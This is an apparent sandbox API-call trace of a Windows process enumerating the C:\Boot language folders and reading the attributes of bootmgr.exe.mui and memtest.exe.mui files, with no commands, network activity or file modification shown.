	[0239.996] CreateFileW (lpFileName="C:\\Boot\\es-MX" (normalized: "c:\\boot\\es-mx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.997] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0239.997] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.997] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.997] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.997] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0239.997] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.998] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1
	[0239.998] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.998] GetFileAttributesExW (in: lpFileName="C:\\Boot\\et-EE" (normalized: "c:\\boot\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.999] CreateFileW (lpFileName="C:\\Boot\\et-EE" (normalized: "c:\\boot\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.999] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0239.999] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.999] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0239.999] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.999] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.000] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.000] GetFileAttributesExW (in: lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560)) returned 1
	[0240.001] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.001] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.001] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.001] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.002] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.002] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.002] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.002] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.002] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.002] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.002] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0240.003] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.003] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0240.003] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.003] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-CA" (normalized: "c:\\boot\\fr-ca"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.012] CreateFileW (lpFileName="C:\\Boot\\fr-CA" (normalized: "c:\\boot\\fr-ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.012] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.012] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.013] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.013] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.013] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.013] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.013] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560)) returned 1
	[0240.013] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.014] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.014] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.014] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.014] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.015] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.015] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.015] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.015] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.015] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.015] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558)) returned 1
	[0240.015] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.016] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0240.017] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.017] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hr-HR" (normalized: "c:\\boot\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.017] CreateFileW (lpFileName="C:\\Boot\\hr-HR" (normalized: "c:\\boot\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.017] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.018] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.018] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.018] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.018] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
